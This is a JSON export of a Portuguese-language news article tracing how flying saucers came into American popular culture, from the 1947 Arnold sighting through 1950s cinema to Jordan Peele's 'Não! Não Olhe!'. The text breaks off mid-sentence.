{"id":2656,"date":"1969-12-31T21:00:00","date_gmt":"1970-01-01T00:00:00","guid":{"rendered":"https:\/\/manualdoidoso.com.br\/blog\/1969\/12\/31\/como-ovnis-tomaram-conta-da-cultura-americana-22-07-2022\/"},"modified":"1969-12-31T21:00:00","modified_gmt":"1970-01-01T00:00:00","slug":"como-ovnis-tomaram-conta-da-cultura-americana-22-07-2022","status":"publish","type":"post","link":"https:\/\/manualdoidoso.com.br\/blog\/1969\/12\/31\/como-ovnis-tomaram-conta-da-cultura-americana-22-07-2022\/","title":{"rendered":"Como \u00f3vnis tomaram conta da cultura americana &#8211; 22\/07\/2022"},"content":{"rendered":"<p> <br \/>\n<\/p>\n<div>\n<p class=\"lead\">Discos voadores trouxeram visitantes misteriosos de Marte e de outros planetas em in\u00fameros filmes, s\u00e9ries de TV, romances, hist\u00f3rias em quadrinhos e at\u00e9 discos de sucesso.<\/p>\n<p>Os discos voadores est\u00e3o de volta no novo <a href=\"https:\/\/www.uol.com.br\/splash\/filmes\/\">filme<\/a> do cineasta Jordan Peele &#8211; 75 anos depois do primeiro avistamento misterioso de \u00f3vnis nos Estados Unidos.<\/p>\n<p>Ele aparece apenas por um momento no trailer do novo filme de terror do ator e cineasta norte-americano Jordan Peele, intitulado <em>N\u00e3o! N\u00e3o Olhe!<\/em>, mas com certeza ele est\u00e1 l\u00e1: um disco voador.<\/p>\n<p>A julgar pelas reviravoltas dos <a href=\"https:\/\/www.uol.com.br\/splash\/filmes\/\">filmes<\/a> anteriores de Peele, <em>Corra! <\/em>e <em>N\u00f3s<\/em>, \u00e9 imposs\u00edvel dizer se o disco \u00e9 real ou falso, se \u00e9 da Terra ou vem do espa\u00e7o. Mas o vislumbre prateado \u00e9 provocador.<\/p>\n<p>Talvez, apenas talvez, <em>N\u00e3o! N\u00e3o Olhe!<\/em> seja um bom filme sobre discos voadores &#8211; uma celebra\u00e7\u00e3o de uma das formas mais reconhecidas e arrepiantes da hist\u00f3ria da cultura popular.<\/p>\n<p>&#8220;No final dos anos 1950, essa forma espec\u00edfica tornou-se um s\u00edmbolo de &#8216;nave espacial pilotada por seres de outro planeta&#8217;, usada por todas as pessoas que trabalhassem em artes visuais&#8221;, afirma Andrew Shail, professor de Cinema da Universidade de Newcastle, no Reino Unido.<\/p>\n<p>De fato, os discos voadores trouxeram visitantes misteriosos de Marte e de outros planetas em in\u00fameros filmes, s\u00e9ries de TV, romances, hist\u00f3rias em quadrinhos e at\u00e9 discos de sucesso &#8211; desde o p\u00f4ster com os dizeres &#8220;eu quero acreditar&#8221; (&#8220;I want to believe&#8221;, em ingl\u00eas), do personagem Fox Mulder na s\u00e9rie <em>Arquivo X<\/em>, at\u00e9 o popular livro infantil <em>Marcianos Adoram Cuecas<\/em> (Editora Globo, 2009), da escritora brit\u00e2nica Claire Freedman.<\/p>\n<h2>As origens<\/h2>\n<p>O disco voador \u00e9 um cl\u00e1ssico do design &#8211; o arqu\u00e9tipo do Objeto Voador N\u00e3o Identificado (Ovni). Mesmo assim, ele s\u00f3 decolou, por assim dizer, nos anos 1950, quando o mundo inteiro ficou maluco pelos discos voadores.<\/p>\n<p>Artistas de fic\u00e7\u00e3o cient\u00edfica j\u00e1 vinham desenhando espa\u00e7onaves circulares h\u00e1 muito tempo. Em 1934, uma tira em quadrinhos de Flash Gordon j\u00e1 apresentava um &#8220;esquadr\u00e3o de girosc\u00f3pios mortais&#8221;.<\/p>\n<div class=\"photoembed-wrapper\">\n<figure class=\"photo photo-embed no-gutter col-sm-24  crop-750x421 limit-crop  figure\" style=\"max-width:750px\" data-format=\"horizontal\">\n<div class=\"image bg\">\n<div class=\"placeholder\" style=\"max-width:750px\">   <img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/conteudo.imguol.com.br\/c\/noticias\/34\/2022\/07\/22\/um-disco-voador-aparece-no-trailer-do-novo-filme-do-ator-e-cineasta-jordan-peele-nao-nao-olhe-estrelado-pelo-britanico-daniel-kaluuya-1658491299100_v2_750x421.jpg\" class=\"pinit-img\" alt=\"Um disco voador aparece no trailer do novo filme do ator e cineasta Jordan Peele, N\u00e3o! N\u00e3o Olhe!, estrelado pelo brit\u00e2nico Daniel Kaluuya - Universal Studios - Universal Studios\" data-crop=\"{&quot;xs&quot;:&quot;450x253&quot;,&quot;sm&quot;:&quot;750x421&quot;,&quot;md&quot;:&quot;600x337&quot;,&quot;lg&quot;:&quot;750x421&quot;}\" width=\"750\" height=\"421\"\/>  <i class=\"placeholder-mask\" style=\"padding-bottom: 56.13333333333333%\"\/><\/div>\n<\/div><figcaption class=\"container bottom-title\">\n<p>Um disco voador aparece no trailer do novo filme do ator e cineasta Jordan Peele, N\u00e3o! N\u00e3o Olhe!, estrelado pelo brit\u00e2nico Daniel Kaluuya<\/p>\n<p> <span>Imagem: Universal Studios<\/span><\/figcaption><\/figure>\n<\/div>\n<p>Mas, se voc\u00ea folhear as revistas daquela \u00e9poca, como Startling Stories e Super Science Stories, poder\u00e1 ver que, na primeira metade do s\u00e9culo 20, os meios de transporte preferidos dos alien\u00edgenas eram mais parecidos com avi\u00f5es e submarinos.<\/p>\n<p>Mas tudo isso mudou 75 anos atr\u00e1s. Em junho de 1947, o piloto comercial Kenneth Arnold afirmou ter visto nove &#8220;discos voadores&#8221; sobrevoando o Estado americano de Washington a cerca de 1.900 km\/h.<\/p>\n<p>O editor do jornal East Oregonian encaminhou essa hist\u00f3ria &#8211; totalmente imposs\u00edvel de ser confirmada &#8211; para a ag\u00eancia de not\u00edcias Associated Press. Em 26 de junho, a revista Hearst International publicou uma nota para a imprensa contendo a assustadora express\u00e3o &#8220;discos voadores&#8221;.<\/p>\n<p>A not\u00edcia espalhou-se pelo mundo em velocidade muito maior do que a dos pr\u00f3prios discos. Rapidamente surgiram centenas de outros relatos de avistamentos, incluindo um que envolvia fragmentos de um disco voador acidentado em Roswell, no Novo M\u00e9xico.<\/p>\n<p>Alguns desses relatos eram claramente falsos. N\u00e3o era dif\u00edcil produzir uma fotografia de um disco voador usando uma calota de autom\u00f3vel, uma pizza ou um frisbee. Outros avistamentos, segundo Shail, eram de &#8220;bal\u00f5es meteorol\u00f3gicos, zepelins, forma\u00e7\u00f5es de nuvens ou aeronaves experimentais sendo desenvolvidas pela For\u00e7a A\u00e9rea dos Estados Unidos, como parte da Guerra Fria&#8221;.<\/p>\n<p>E, para manter a mente aberta, alguns dos avistamentos talvez fossem de marcianos planando sobre regi\u00f5es pouco povoadas da Terra por pura divers\u00e3o. Mas uma coisa era certa: a &#8220;discomania&#8221; estava come\u00e7ando.<\/p>\n<h2>A Guerra Fria e a corrida espacial<\/h2>\n<p>Em 1953, o livro do astr\u00f4nomo americano Donald H. Menzel sobre essa histeria, intitulado <em>Flying Saucers<\/em> (&#8220;<em>Discos voadores<\/em>&#8220;, em tradu\u00e7\u00e3o livre), ofereceu tr\u00eas explica\u00e7\u00f5es a respeito.<\/p>\n<div class=\"photoembed-wrapper\">\n<figure class=\"photo photo-embed no-gutter col-sm-24  crop-750x421 limit-crop  figure\" style=\"max-width:750px\" data-format=\"horizontal\">\n<div class=\"image bg\">\n<div class=\"placeholder\" style=\"max-width:750px\">   <img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/conteudo.imguol.com.br\/c\/noticias\/cb\/2022\/07\/22\/em-julho-de-1947-fragmentos-de-um-disco-voador-acidentado-teriam-sido-encontrados-em-roswell-no-estado-norte-americano-do-novo-mexico-1658491384105_v2_750x421.jpg\" class=\"pinit-img\" alt=\"Em julho de 1947, fragmentos de um disco voador acidentado teriam sido encontrados em Roswell, no Estado norte-americano do Novo M\u00e9xico - Getty Images - Getty Images\" data-crop=\"{&quot;xs&quot;:&quot;450x253&quot;,&quot;sm&quot;:&quot;750x421&quot;,&quot;md&quot;:&quot;600x337&quot;,&quot;lg&quot;:&quot;750x421&quot;}\" width=\"750\" height=\"421\"\/>  <i class=\"placeholder-mask\" style=\"padding-bottom: 56.13333333333333%\"\/><\/div>\n<\/div><figcaption class=\"container bottom-title\">\n<p>Em julho de 1947, fragmentos de um disco voador acidentado teriam sido encontrados em Roswell, no Estado norte-americano do Novo M\u00e9xico<\/p>\n<p> <span>Imagem: Getty Images<\/span><\/figcaption><\/figure>\n<\/div>\n<p>&#8220;Primeiro, os discos voadores s\u00e3o incomuns. Todos n\u00f3s estamos acostumados com a regularidade. N\u00f3s naturalmente atribu\u00edmos mist\u00e9rio ao que \u00e9 incomum. Segundo, todos n\u00f3s estamos nervosos. Vivemos em um mundo que subitamente se tornou hostil. Desencadeamos for\u00e7as que n\u00e3o conseguimos controlar; muitas pessoas temem que estejamos nos encaminhando para uma guerra que ir\u00e1 nos destruir. Terceiro, as pessoas, at\u00e9 certo ponto, est\u00e3o gostando desse pavor. Elas parecem estar participando de uma emocionante hist\u00f3ria de fic\u00e7\u00e3o cient\u00edfica.&#8221;<\/p>\n<p>O nervosismo mencionado por Menzel tinha diversas causas. Uma delas era a concorr\u00eancia entre os Estados Unidos e a Uni\u00e3o Sovi\u00e9tica (URSS) para saber quem seria a primeira superpot\u00eancia a colocar um sat\u00e9lite artificial em \u00f3rbita: foi a URSS, com o sat\u00e9lite Sputnik, em 1957.<\/p>\n<p>&#8220;O interesse pelos discos voadores disparou mais ou menos no mesmo momento em que ficou razo\u00e1vel aceitar que os seres humanos viajariam para o espa\u00e7o&#8221;, afirma Katharine Coldiron, autora do guia sobre o filme de fic\u00e7\u00e3o cient\u00edfica <em>Plano 9 do Espa\u00e7o Sideral<\/em>, de 1959, para a s\u00e9rie de livros brit\u00e2nica <em>Midnight Movies Monograph<\/em>.<\/p>\n<p>&#8220;A imagina\u00e7\u00e3o humana viaja em todo tipo de dire\u00e7\u00e3o quando algo como a corrida espacial a estimula radicalmente&#8221;, afirma ela. &#8220;Acho que estamos vendo o mesmo acontecer com as mudan\u00e7as clim\u00e1ticas. Criadores de todo tipo v\u00eam sendo estimulados a fazer arte sobre o poss\u00edvel fim da nossa esp\u00e9cie e, pelo menos na fic\u00e7\u00e3o, estamos vendo essa onda ganhar massa cr\u00edtica.&#8221;<\/p>\n<p>Os americanos tinham tamb\u00e9m outras preocupa\u00e7\u00f5es naquela \u00e9poca: desemprego, infla\u00e7\u00e3o, amea\u00e7a de invas\u00e3o pelos sovi\u00e9ticos e, especialmente, a possibilidade de que suas pr\u00f3prias cidades viessem a ser arrasadas por bombas at\u00f4micas como as que devastaram Hiroshima e Nagasaki, no Jap\u00e3o, em 1945.<\/p>\n<p>Uma forma de sublimar todos esses temores era concentrar-se em discos voadores, &#8220;um fen\u00f4meno misterioso e divertido&#8221;, segundo Jack Womack, premiado escritor americano de fic\u00e7\u00e3o cient\u00edfica, &#8220;mas n\u00e3o necessariamente assustador, como a possibilidade de uma guerra nuclear.&#8221;<\/p>\n<h2>Discos voadores na cultura popular<\/h2>\n<p>Quase t\u00e3o fascinante quanto os avistamentos de discos voadores \u00e9 o fato de tantas pessoas escreverem relatos pessoais sobre eles.<\/p>\n<p>A cole\u00e7\u00e3o desse tipo de relato mantida por Womack \u00e9 o tema do seu livro <em>Flying Saucers are Real!<\/em> (&#8220;<em>Os discos voadores s\u00e3o reais!<\/em>&#8220;, em tradu\u00e7\u00e3o livre), que inclui trechos de livros de outros autores, como <em>Those Sexy Saucer People<\/em> (&#8220;<em>Aquelas pessoas sexy dos discos voadores<\/em>&#8220;), <em>Flying Saucers and the Scriptures<\/em> (&#8220;<em>Discos voadores e as escrituras<\/em>&#8220;) e <em>Round Trip to Hell in a Flying Saucer<\/em> (&#8220;<em>Viagem de ida e volta para o inferno em um disco voador<\/em>&#8220;).<\/p>\n<p>Outro exemplo \u00e9 <em>I Rode a Flying Saucer<\/em> (&#8220;<em>Eu pilotei um disco voador<\/em>&#8220;), do norte-americano George W. van Tassel, publicado em 1952. &#8220;Ele foi suficientemente honesto para destacar que, na verdade, n\u00e3o pilotou um disco voador&#8221;, afirma Womack, &#8220;mas que os irm\u00e3os do espa\u00e7o sugeriram que ele desse um nome mais comercial para sua obra&#8221;.<\/p>\n<p>Por mais bizarros que sejam esses livros supostamente de n\u00e3o fic\u00e7\u00e3o, eles ensinaram algumas li\u00e7\u00f5es. O psiquiatra su\u00ed\u00e7o Carl Jung, por exemplo, tratou do tema em <em>Um Mito Moderno sobre Coisas Vistas no C\u00e9u<\/em>, publicado em 1959.<\/p>\n<p>Naquela \u00e9poca, os discos voadores j\u00e1 estavam presentes em toda a cultura popular. As hist\u00f3rias em quadrinhos, por exemplo, estavam repletas de discos, o que n\u00e3o \u00e9 nada surpreendente. Uma edi\u00e7\u00e3o especial da revista americana Weird Science-Fantasy, publicada em 1954 pela EC Comics, anunciou: &#8220;a EC desafia a For\u00e7a A\u00e9rea Americana com este relato factual e ilustrado sobre discos voadores&#8221;.<\/p>\n<div class=\"photoembed-wrapper\">\n<figure class=\"photo photo-embed no-gutter col-sm-24  crop-750x421 limit-crop  figure\" style=\"max-width:750px\" data-format=\"horizontal\">\n<div class=\"image bg\">\n<div class=\"placeholder\" style=\"max-width:750px\">   <img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/conteudo.imguol.com.br\/c\/noticias\/10\/2022\/07\/22\/o-primeiro-disco-voador-do-cinema-apareceu-em-um-filme-independente-chamado-the-flying-saucer-o-disco-voador-de-1950-1658491632595_v2_750x421.jpg\" class=\"pinit-img\" alt=\"O primeiro disco voador do cinema apareceu em um filme independente chamado &quot;The Flying Saucer&quot; (&quot;O disco voador&quot;), de 1950 - Alamy - Alamy\" data-crop=\"{&quot;xs&quot;:&quot;450x253&quot;,&quot;sm&quot;:&quot;750x421&quot;,&quot;md&quot;:&quot;600x337&quot;,&quot;lg&quot;:&quot;750x421&quot;}\" width=\"750\" height=\"421\"\/>  <i class=\"placeholder-mask\" style=\"padding-bottom: 56.13333333333333%\"\/><\/div>\n<\/div><figcaption class=\"container bottom-title\">\n<p>O primeiro disco voador do cinema apareceu em um filme independente chamado &#8220;The Flying Saucer&#8221; (&#8220;O disco voador&#8221;), de 1950<\/p>\n<p> <span>Imagem: Alamy<\/span><\/figcaption><\/figure>\n<\/div>\n<p>No mundo da anima\u00e7\u00e3o, o desenho do coelho Pernalonga apresentou o personagem marciano Marvin em 1948. Na ocasi\u00e3o, ele pilotava um foguete, mas quando visitou a Terra em outro epis\u00f3dio, em 1952, Marvin havia trocado o foguete por um disco voador.<\/p>\n<p>Em 1951, Ella Fitzgerald gravou uma <a href=\"https:\/\/www.uol.com.br\/splash\/musica\/\">m\u00fasica<\/a>, de autoria de Arthur Pitt e Elaine Wise, chamada <em>Two Little Men in a Flying Saucer<\/em>, uma cole\u00e7\u00e3o ir\u00f4nica de h\u00e1bitos desgastantes da humanidade observados pelos homenzinhos &#8211; verdes &#8211; do t\u00edtulo da can\u00e7\u00e3o.<\/p>\n<p>A letra diz: <em>&#8220;Durante sua miss\u00e3o \/ Eles ouviram um pol\u00edtico \/ Fazendo discursos enquanto eles viajavam \/ Mas eles partiram \/ Mais r\u00e1pido do que chegaram \/ Porque o ar quente os soprou para o alto no c\u00e9u&#8221;.<\/em> A m\u00fasica foi posteriormente simplificada e usada nas escolas para ensinar as crian\u00e7as a contar.<\/p>\n<p>Mas nenhum meio de comunica\u00e7\u00e3o ficou mais apaixonado pelos discos voadores do que o cinema.<\/p>\n<h2>O disco voador na tela grande<\/h2>\n<p>O primeiro filme sobre discos voadores estreou em 1950 e chamava-se <em>The Flying Saucer <\/em>(&#8220;<em>O disco voador&#8221;<\/em>, em tradu\u00e7\u00e3o livre). Era uma produ\u00e7\u00e3o americana independente de baixo or\u00e7amento, escrita, dirigido, produzida e estrelada por Mikel Conrad.<\/p>\n<p>O filme sugeria que talvez fosse baseado em fatos reais. &#8220;O que s\u00e3o eles?&#8221;, perguntava o cartaz. &#8220;De onde eles s\u00e3o? Voc\u00ea j\u00e1 viu um disco voador?&#8221;<\/p>\n<p>No ano seguinte, Hollywood lan\u00e7ou dois cl\u00e1ssicos sobre discos voadores. Um deles foi <em>O Dia em que a Terra Parou<\/em>, de Robert Wise. Nele, um embaixador alien\u00edgena de nome Klaatu (interpretado por Michael Rennie) orienta a ra\u00e7a humana a &#8220;viver em paz ou seguir no seu caminho atual e enfrentar a extin\u00e7\u00e3o&#8221;. Seu disco voador de linhas simples e sem janelas \u00e9 a \u00faltima palavra em minimalismo interplanet\u00e1rio.<\/p>\n<p>O outro cl\u00e1ssico de 1951 foi <em>O Monstro do \u00c1rtico<\/em>, de Howard Hawks, que mostra uma espa\u00e7onave alien\u00edgena recuperada do gelo do \u00c1rtico.<\/p>\n<p>No conto do escritor americano John W. Campbell que deu origem ao filme, a espa\u00e7onave era &#8220;como um submarino&#8230; 85 metros de comprimento e 14 metros de di\u00e2metro&#8221;. Mas o filme mostra um disco voador, e seu \u00fanico tripulante sobrevivente \u00e9 um monstro predador.<\/p>\n<div class=\"photoembed-wrapper\">\n<figure class=\"photo photo-embed no-gutter col-sm-24  crop-750x421 limit-crop  figure\" style=\"max-width:750px\" data-format=\"horizontal\">\n<div class=\"image bg\">\n<div class=\"placeholder\" style=\"max-width:750px\">   <img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/conteudo.imguol.com.br\/c\/noticias\/de\/2022\/07\/22\/hollywood-lancou-dois-filmes-classicos-sobre-discos-voadores-em-1951-o-monstro-do-artico-de-howard-hawks-e-o-dia-em-que-a-terra-parou-de-robert-wise-1658491694581_v2_750x421.jpg\" class=\"pinit-img\" alt=\"Hollywood lan\u00e7ou dois filmes cl\u00e1ssicos sobre discos voadores em 1951: 'O Monstro do \u00c1rtico', de Howard Hawks, e 'O Dia em que a Terra Parou', de Robert Wise - Alamy - Alamy\" data-crop=\"{&quot;xs&quot;:&quot;450x253&quot;,&quot;sm&quot;:&quot;750x421&quot;,&quot;md&quot;:&quot;600x337&quot;,&quot;lg&quot;:&quot;750x421&quot;}\" width=\"750\" height=\"421\"\/>  <i class=\"placeholder-mask\" style=\"padding-bottom: 56.13333333333333%\"\/><\/div>\n<\/div><figcaption class=\"container bottom-title\">\n<p>Hollywood lan\u00e7ou dois filmes cl\u00e1ssicos sobre discos voadores em 1951: &#8216;O Monstro do \u00c1rtico&#8217;, de Howard Hawks, e &#8216;O Dia em que a Terra Parou&#8217;, de Robert Wise<\/p>\n<p> <span>Imagem: Alamy<\/span><\/figcaption><\/figure>\n<\/div>\n<p>&#8220;Cada um do seu jeito, esses filmes incorporaram a corrente sombria de paranoia social que havia tomado conta dos Estados Unidos&#8221;, afirma Michael Stein no seu livro <em>Alien Invasions! The History of Aliens in Pop Culture <\/em>(&#8220;<em>Invas\u00f5es alien\u00edgenas! A hist\u00f3ria dos extraterrestres na cultura popular&#8221;<\/em>, em tradu\u00e7\u00e3o livre). &#8220;Um apresentou o medo de uma invas\u00e3o subversiva e o outro abordou o pesadelo da destrui\u00e7\u00e3o global.&#8221;<\/p>\n<p>Considerando quantas vezes os discos voadores substitu\u00edram o terror terrestre, ser\u00e1 fascinante ver o que eles representam em <em>N\u00e3o! N\u00e3o Olhe!.<\/em><\/p>\n<p>At\u00e9 aqui, os criativos filmes de terror de Jordan Peele t\u00eam abordado temas sociais, com \u00eanfase no racismo. Ser\u00e1 que <em>N\u00e3o! N\u00e3o Olhe! <\/em>seguir\u00e1 essa tend\u00eancia?<\/p>\n<p>&#8220;A decis\u00e3o de Peele de fazer um filme sobre \u00f3vnis n\u00e3o \u00e9 surpreendente&#8221;, afirma Mark Bould autor do <em>Guia de Filmes de Fic\u00e7\u00e3o Cient\u00edfica<\/em>, &#8220;porque sempre houve um elemento racial nos relatos sobre discos voadores e abdu\u00e7\u00e3o alien\u00edgena.&#8221;<\/p>\n<p>&#8220;No final dos anos 1940, os alien\u00edgenas eram frequentemente descritos como pessoas excessivamente brancas. Os negros eram os descendentes dos abduzidos, as v\u00edtimas de alien\u00edgenas p\u00e1lidos tecnologicamente avan\u00e7ados que apareceram subitamente, vindo de muito longe. A fic\u00e7\u00e3o cient\u00edfica negra e o afrofuturismo frequentemente retomam essa brutal ruptura hist\u00f3rica. <em>N\u00e3o! N\u00e3o Olhe! <\/em>\u00e9 apenas o exemplo mais recente dessa conex\u00e3o com a nave-m\u00e3e&#8221;, explica Bould.<\/p>\n<h2>Simples e de alta tecnologia<\/h2>\n<p>Voltando aos anos 1950, os filmes sobre discos voadores nem sempre tiveram essas profundas preocupa\u00e7\u00f5es sociopol\u00edticas. Eles inclu\u00edram <em>A Garota Diab\u00f3lica de Marte<\/em>, de 1954, <em>A Guerra dos Planetas,<\/em> 1955, <em>Planeta Proibido<\/em>, 1956, <em>Os Monstros Invasores<\/em>, 1957, <em>e O Submarino At\u00f4mico<\/em>, 1959.<\/p>\n<div class=\"photoembed-wrapper\">\n<figure class=\"photo photo-embed no-gutter col-sm-24  crop-750x421 limit-crop  figure\" style=\"max-width:750px\" data-format=\"horizontal\">\n<div class=\"image bg\">\n<div class=\"placeholder\" style=\"max-width:750px\">   <img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/conteudo.imguol.com.br\/c\/noticias\/68\/2022\/07\/22\/um-dos-maiores-filmes-sobre-discos-voadores-dos-anos-1950-foi-a-invasao-dos-discos-voadores-de-1956-com-animacao-quadro-a-quadro-de-ray-harryhausen-1658491829870_v2_750x421.jpg\" class=\"pinit-img\" alt=\"Um dos maiores filmes sobre discos voadores dos anos 1950 foi 'A Invas\u00e3o dos Discos Voadores', de 1956, com anima\u00e7\u00e3o quadro a quadro de Ray Harryhausen - Alamy - Alamy\" data-crop=\"{&quot;xs&quot;:&quot;450x253&quot;,&quot;sm&quot;:&quot;750x421&quot;,&quot;md&quot;:&quot;600x337&quot;,&quot;lg&quot;:&quot;750x421&quot;}\" width=\"750\" height=\"421\"\/>  <i class=\"placeholder-mask\" style=\"padding-bottom: 56.13333333333333%\"\/><\/div>\n<\/div><figcaption class=\"container bottom-title\">\n<p>Um dos maiores filmes sobre discos voadores dos anos 1950 foi &#8216;A Invas\u00e3o dos Discos Voadores&#8217;, de 1956, com anima\u00e7\u00e3o quadro a quadro de Ray Harryhausen<\/p>\n<p> <span>Imagem: Alamy<\/span><\/figcaption><\/figure>\n<\/div>\n<p>Um dos principais daquela \u00e9poca foi <em>A Invas\u00e3o dos Discos Voadores<\/em>, 1956, com fabulosa anima\u00e7\u00e3o quadro a quadro de Ray Harryhausen. E outro, n\u00e3o t\u00e3o aclamado, foi <em>Plano 9 do Espa\u00e7o Sideral, <\/em>mencionado mais acima.<\/p>\n<p>O ponto em comum entre todos esses filmes era o disco voador. Do ponto de vista dos cineastas, essa emblem\u00e1tica espa\u00e7onave era uma b\u00ean\u00e7\u00e3o, porque era relativamente f\u00e1cil de ser constru\u00edda e filmada. Ao contr\u00e1rio de um foguete tradicional, ela podia mudar de dire\u00e7\u00e3o sem necessidade de mostr\u00e1-la virando. E sua apar\u00eancia era fant\u00e1stica.<\/p>\n<p>&#8220;O genial sobre o design do disco voador \u00e9 sua simplicidade ao ponto de abstra\u00e7\u00e3o&#8221;, comenta Bould. &#8220;Sua simetria perfeita confirma que n\u00e3o se trata de algo natural. A aus\u00eancia dos indicadores conhecidos de voo &#8211; ele n\u00e3o tem asas, nem motores &#8211; reafirma que n\u00e3o deve ser um artefato tecnol\u00f3gico simples, mas algo incrivelmente avan\u00e7ado. Ele imp\u00f5e o seu lugar muito \u00e0 nossa frente na mitologia ocidental do progresso.&#8221;<\/p>\n<p>N\u00e3o que o disco voador fosse algo completamente de outro mundo. Sua superf\u00edcie curva brilhante, com todo tipo de fios e v\u00e1lvulas complicadas atr\u00e1s dela, era parecida com os carros mais modernos, fornos e m\u00e1quinas de lavar que surgiram no p\u00f3s-guerra.<\/p>\n<div class=\"photoembed-wrapper\">\n<figure class=\"photo photo-embed no-gutter col-sm-24  crop-750x421 limit-crop  figure\" style=\"max-width:750px\" data-format=\"horizontal\">\n<div class=\"image bg\">\n<div class=\"placeholder\" style=\"max-width:750px\">   <img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/conteudo.imguol.com.br\/c\/noticias\/9f\/2022\/07\/22\/o-grande-sucesso-da-ficcao-cientifica-nos-anos-1950-nao-foi-um-filme-sobre-invasoes-alienigenas-mas-sim-20000-leguas-submarinas-da-disney-1658491921090_v2_750x421.jpg\" class=\"pinit-img\" alt=\"O grande sucesso da fic\u00e7\u00e3o cient\u00edfica nos anos 1950 n\u00e3o foi um filme sobre invas\u00f5es alien\u00edgenas, mas sim '20.000 L\u00e9guas Submarinas', da Disney - Alamy - Alamy\" data-crop=\"{&quot;xs&quot;:&quot;450x253&quot;,&quot;sm&quot;:&quot;750x421&quot;,&quot;md&quot;:&quot;600x337&quot;,&quot;lg&quot;:&quot;750x421&quot;}\" width=\"750\" height=\"421\"\/>  <i class=\"placeholder-mask\" style=\"padding-bottom: 56.13333333333333%\"\/><\/div>\n<\/div><figcaption class=\"container bottom-title\">\n<p>O grande sucesso da fic\u00e7\u00e3o cient\u00edfica nos anos 1950 n\u00e3o foi um filme sobre invas\u00f5es alien\u00edgenas, mas sim &#8216;20.000 L\u00e9guas Submarinas&#8217;, da Disney<\/p>\n<p> <span>Imagem: Alamy<\/span><\/figcaption><\/figure>\n<\/div>\n<p>&#8220;O disco voador surgiu em uma era de novas tecnologias sigilosas, principalmente militares, incluindo a bomba at\u00f4mica&#8221;, explica Bould, &#8220;mas tamb\u00e9m de uma s\u00e9rie de novas tecnologias de consumo dom\u00e9stico, cuja composi\u00e7\u00e3o interna era cada vez mais misteriosa para o cidad\u00e3o comum. O disco voador parecia incorporar as duas tend\u00eancias e evidenci\u00e1-las nos c\u00e9us norte-americanos.&#8221;<\/p>\n<h2>O decl\u00ednio da &#8216;discomania&#8217;<\/h2>\n<p>No final dos anos 1950, a &#8220;discomania&#8221; perdeu a for\u00e7a, tanto em termos de relatos de avistamentos, quanto de apari\u00e7\u00f5es na tela.<\/p>\n<p>&#8220;Entre os filmes sobre discos voadores, os de terror tiveram mais sucesso que os s\u00e9rios&#8221;, segundo Mark Jancovich, autor de <em>Rational Fears: American Horror Genre in the 1950s <\/em>(&#8220;<em>Medos racionais: o g\u00eanero do terror americano nos anos 1950<\/em>&#8220;, em tradu\u00e7\u00e3o livre).<\/p>\n<p>&#8220;E fazer um filme de terror \u00e9 muito barato. O que aconteceu foi que a fic\u00e7\u00e3o cient\u00edfica de terror ocupou a faixa de baixo or\u00e7amento do mercado&#8221;, afirma Jancovich. &#8220;Os est\u00fadios tamb\u00e9m perceberam que o maior sucesso da fic\u00e7\u00e3o cient\u00edfica dos anos 1950 n\u00e3o foi um filme de invas\u00e3o alien\u00edgena, mas sim <em>20.000 L\u00e9guas Submarinas<\/em>, da Disney. E depois veio essa onda de filmes de fic\u00e7\u00e3o cient\u00edfica, como <em>A M\u00e1quina do Tempo, A Maldi\u00e7\u00e3o de Frankenstein e O Mundo Perdido<\/em>. O ambiente vitoriano dos filmes de terror g\u00f3ticos fez com que eles parecessem respeit\u00e1veis, enquanto os discos voadores deca\u00edram no mercado ao longo dos anos 1950.&#8221;<\/p>\n<p>J\u00e1 no mundo real, 1961 foi o ano em que o astronauta sovi\u00e9tico Yuri Gagarin entrou em \u00f3rbita e o presidente americano John F. Kennedy anunciou o objetivo de &#8220;levar um homem para aterrissar na Lua e traz\u00ea-lo de volta com seguran\u00e7a para a Terra&#8221;. As viagens espaciais reais eram t\u00e3o impressionantes que os discos voadores pareciam antiquados em compara\u00e7\u00e3o com elas.<\/p>\n<p>E, em 1969, a For\u00e7a A\u00e9rea Americana encerrou sua pesquisa sobre avistamentos de discos voadores &#8211; o Projeto Livro Azul &#8211; com a publica\u00e7\u00e3o de um estudo cient\u00edfico sobre objetos voadores n\u00e3o identificados. Sua contundente conclus\u00e3o foi: &#8220;Nos estudos sobre os \u00f3vnis realizados nos \u00faltimos 21 anos, n\u00e3o surgiu nada que ampliasse o conhecimento cient\u00edfico&#8221;.<\/p>\n<p>\u00c9 claro que as pessoas continuaram relatando avistamentos de \u00f3vnis nos anos 1960 e nas d\u00e9cadas seguintes. Em maio de 2022, houve uma audi\u00eancia p\u00fablica no Congresso americano sobre os \u00f3vnis &#8211; agora, conhecidos como fen\u00f4menos a\u00e9reos n\u00e3o explicados (UAPs, na sigla em ingl\u00eas). Mas o vice-diretor de intelig\u00eancia naval da Marinha americana, Scott Bray, salientou que os militares n\u00e3o encontraram &#8220;nada de origem extraterrestre&#8221;.<\/p>\n<h2>Os discos modernos atuais<\/h2>\n<p>\u00c9 poss\u00edvel argumentar que, tamb\u00e9m na cultura popular, os discos voadores nunca desapareceram por completo. Basta superdimensionar um disco voador para ter as naves-m\u00e3e de <em>Independence Day<\/em> e <em>Distrito 9<\/em>. Vire-o para o lado, e voc\u00ea tem os amea\u00e7adores mon\u00f3litos de <em>A Chegada<\/em>.<\/p>\n<p>Em <em>Guerra nas Estrelas<\/em>, a nave Millennium Falcon \u00e9 um disco voador com duas pontas na frente. E, em <em>Jornada nas Estrelas<\/em>, a Enterprise \u00e9 um disco voador com um corpo e pernas na parte de tr\u00e1s.<\/p>\n<p>Mas as imagens antigas de discos voadores sem adornos, no c\u00e9u ou na tela, agora s\u00e3o raras. &#8220;Como todos os modismos, o fen\u00f4meno na sua forma original simplesmente seguiu seu curso&#8221;, segundo Jack Womack.<\/p>\n<p>Hoje, os discos voadores s\u00e3o parte da cultura norte-americana dos anos 1950, como o piso xadrez das lanchonetes de beira de estrada e os carros convers\u00edveis. E, quando aparecem nos filmes modernos de fic\u00e7\u00e3o cient\u00edfica, como <em>Homens de Preto <\/em>e <em>Marte <\/em><em>Ataca!<\/em>, \u00e9 devido \u00e0 sua qualidade como item retr\u00f4.<\/p>\n<p>Talvez seja assim que Jordan Peele os 